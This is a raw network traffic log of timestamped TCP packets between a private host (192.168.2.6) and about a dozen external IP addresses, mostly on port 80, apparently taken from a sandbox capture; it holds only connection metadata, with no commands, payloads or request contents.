Nov 11, 2024 18:51:15.054548979 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.054583073 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.055219889 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.055232048 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.055264950 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.055927992 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.056073904 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.056160927 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.056171894 CET	80	50246	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:15.056195021 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.056222916 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.357505083 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.357693911 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.357750893 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.358042955 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.358055115 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.358097076 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.358808041 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.358824015 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.358863115 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.359776974 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.359791040 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.359829903 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.360200882 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.360213995 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.360253096 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.362662077 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.362870932 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.362876892 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.362917900 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.396841049 CET	50239	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:15.399182081 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.399202108 CET	50246	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:15.400324106 CET	50242	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:15.402118921 CET	80	50239	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:15.406481981 CET	80	50242	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:15.408363104 CET	50235	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:15.410176039 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.410300016 CET	50236	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.413244963 CET	80	50235	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:15.440531015 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.440593958 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.440696001 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.440709114 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.440746069 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.441358089 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.441370010 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.441410065 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.441965103 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.441986084 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.442029953 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.442755938 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.442814112 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.442903042 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.443366051 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.443543911 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.443556070 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.443593025 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.444323063 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.444334030 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.444377899 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.445127010 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.445138931 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.445149899 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.445168018 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.445193052 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.445771933 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.445784092 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.445816994 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.445838928 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.446549892 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.446562052 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.446594000 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.447357893 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.447371006 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.447408915 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.447809935 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.447824001 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.447848082 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.447870016 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.520047903 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.520172119 CET	80	50241	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:15.520201921 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:15.520240068 CET	50241	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:16.545957088 CET	59191	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:16.546055079 CET	59192	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:16.551091909 CET	80	59191	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:16.551109076 CET	80	59192	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:16.551157951 CET	59191	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:16.551229954 CET	59192	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:16.555241108 CET	59192	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:16.560065985 CET	80	59192	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:17.440397978 CET	80	59192	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:17.440468073 CET	59192	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:17.747220039 CET	80	53772	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:17.747725964 CET	53772	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:18.273552895 CET	80	52124	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:18.273616076 CET	52124	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:19.296432972 CET	59197	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:19.296746969 CET	59195	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.296869993 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:19.297368050 CET	59198	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.298753023 CET	59199	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:19.303050995 CET	80	59197	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:19.303062916 CET	80	59195	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.303070068 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:19.303078890 CET	80	59198	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.303167105 CET	59197	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:19.303179979 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:19.303179026 CET	59195	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.303529978 CET	80	59199	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:19.303560019 CET	59198	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.303577900 CET	59199	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:19.303925037 CET	59199	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:19.304039001 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:19.308748960 CET	80	59199	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:19.308970928 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:19.314600945 CET	59200	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:19.316389084 CET	59195	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.316392899 CET	59198	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.318542957 CET	59197	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:19.319470882 CET	80	59200	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:19.319525957 CET	59200	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:19.321188927 CET	80	59195	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.321463108 CET	80	59198	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.323373079 CET	80	59197	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:19.730324984 CET	80	59197	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:19.730438948 CET	59197	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:19.730525970 CET	80	59197	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:19.730575085 CET	59197	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:19.731360912 CET	80	59198	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.731431007 CET	59198	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.732925892 CET	80	59195	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.732974052 CET	59195	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.733899117 CET	80	59199	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:19.733943939 CET	59199	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:19.739073992 CET	80	59198	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.739121914 CET	59198	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.740649939 CET	80	59195	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:19.740690947 CET	59195	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:19.741055012 CET	80	59199	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:19.741092920 CET	59199	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:21.480437994 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.480504990 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.480606079 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.480619907 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.480650902 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.480671883 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.481296062 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.481307983 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.481353045 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.481792927 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.481803894 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.481846094 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.482537031 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.482549906 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.482599020 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.483212948 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.483287096 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.485519886 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.485569000 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.485753059 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.485761881 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.485802889 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.561872959 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.561973095 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.562155962 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.562171936 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.562205076 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.562232018 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.562732935 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.562745094 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.562774897 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.562797070 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.563359022 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.563409090 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.563668966 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.563679934 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.563708067 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.563725948 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.564409971 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.564421892 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.564470053 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.565148115 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.565160990 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.565197945 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.566262007 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.566273928 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.566284895 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.566349030 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.566349030 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.566647053 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.566659927 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.566732883 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.567375898 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.567389011 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.567399979 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.567472935 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.568114042 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.568128109 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.568131924 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.568203926 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.568695068 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.568705082 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.568753004 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.642673969 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.642739058 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.642810106 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.642822027 CET	80	59196	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:21.642862082 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.847206116 CET	59197	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:21.847206116 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.847206116 CET	59197	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:21.847245932 CET	59196	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:21.847764015 CET	59198	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:21.852452993 CET	59200	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:21.852550983 CET	80	59198	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:21.855557919 CET	59199	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:21.855602026 CET	59195	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:21.857228994 CET	80	59200	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:21.857398033 CET	59203	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:21.857887983 CET	59204	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:21.858191967 CET	59206	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:21.858234882 CET	59205	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:21.860347986 CET	80	59199	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:21.860464096 CET	80	59195	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:21.862644911 CET	80	59203	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:21.862657070 CET	80	59204	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:21.862724066 CET	59203	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:21.862746000 CET	59204	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:21.863023043 CET	80	59206	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:21.863075018 CET	59206	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:21.864337921 CET	80	59205	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:21.864396095 CET	59205	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:21.868113995 CET	59207	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:21.871789932 CET	59208	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:21.873119116 CET	80	59207	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:21.873213053 CET	59207	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:21.873689890 CET	59207	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:21.875442028 CET	59205	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:21.876643896 CET	80	59208	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:21.876729965 CET	59208	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:21.876887083 CET	59204	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:21.876890898 CET	59206	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:21.876971006 CET	59208	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:21.877520084 CET	59203	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:21.878861904 CET	80	59207	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:21.880263090 CET	80	59205	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:21.881815910 CET	80	59206	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:21.881840944 CET	80	59204	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:21.881851912 CET	80	59208	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:21.882478952 CET	80	59203	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:22.284101963 CET	80	59204	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:22.284590006 CET	59204	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:22.296226978 CET	80	59206	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:22.296320915 CET	59206	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:22.302098036 CET	80	59206	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:22.303143024 CET	59206	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:22.304280043 CET	80	59208	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:22.304406881 CET	59208	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:22.310039043 CET	80	59208	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:22.310103893 CET	59208	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:22.315754890 CET	80	59205	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:22.316761971 CET	59205	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:22.371321917 CET	80	59200	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:22.371378899 CET	59200	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:22.374891043 CET	80	59200	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:22.375514030 CET	59200	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:22.403788090 CET	80	59203	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:22.403884888 CET	59203	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:22.755846024 CET	80	59207	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:22.755937099 CET	59207	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:23.026793003 CET	50219	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:23.026940107 CET	50216	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:23.027277946 CET	50218	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:23.027337074 CET	53776	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:23.027359962 CET	53772	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:23.027600050 CET	52126	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:23.027750969 CET	50217	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:23.027789116 CET	52120	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:23.027843952 CET	50215	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:23.027915001 CET	50220	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:24.672388077 CET	52135	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:24.672454119 CET	52132	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:25.171595097 CET	59212	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:25.176816940 CET	80	59212	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:25.176884890 CET	59212	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:25.197483063 CET	59212	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:25.202833891 CET	80	59212	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:25.241648912 CET	59213	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:25.241919994 CET	59214	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:25.244041920 CET	59215	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.245412111 CET	59218	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:25.245932102 CET	59219	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.246222019 CET	59220	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:25.246963024 CET	80	59213	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:25.246992111 CET	80	59214	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:25.247034073 CET	59213	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:25.247056961 CET	59214	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:25.247133017 CET	59221	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:25.247227907 CET	59214	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:25.248976946 CET	80	59215	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.249033928 CET	59215	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.249823093 CET	59215	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.250278950 CET	80	59218	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:25.250343084 CET	59218	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:25.250724077 CET	59222	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:25.250806093 CET	80	59219	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.250823021 CET	59218	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:25.250869989 CET	59219	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.251024008 CET	59219	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:25.251034021 CET	80	59220	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:25.251096010 CET	59220	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:25.251224041 CET	59220	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:25.251998901 CET	80	59221	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:25.252015114 CET	59223	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:25.252053976 CET	59221	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:25.252132893 CET	59221	80	192.168.2.6	154.212.231.82
Nov 11, 2024 18:51:25.252247095 CET	80	59214	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:25.252877951 CET	59216	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:25.253488064 CET	59213	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:25.254645109 CET	80	59215	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.255613089 CET	80	59222	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:25.255640984 CET	80	59218	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:25.255686045 CET	59222	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:25.255786896 CET	80	59219	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:25.255959034 CET	80	59220	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:25.256028891 CET	59222	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:25.256876945 CET	80	59223	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:25.256926060 CET	59223	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:25.257013083 CET	80	59221	154.212.231.82	192.168.2.6
Nov 11, 2024 18:51:25.257673025 CET	80	59216	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:25.257725000 CET	59216	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:25.258290052 CET	80	59213	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:25.259053946 CET	59216	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:25.260509014 CET	59223	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:25.260749102 CET	59217	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:25.260786057 CET	80	59222	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:25.263863087 CET	80	59216	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:25.265377998 CET	80	59223	188.114.96.3	192.168.2.6
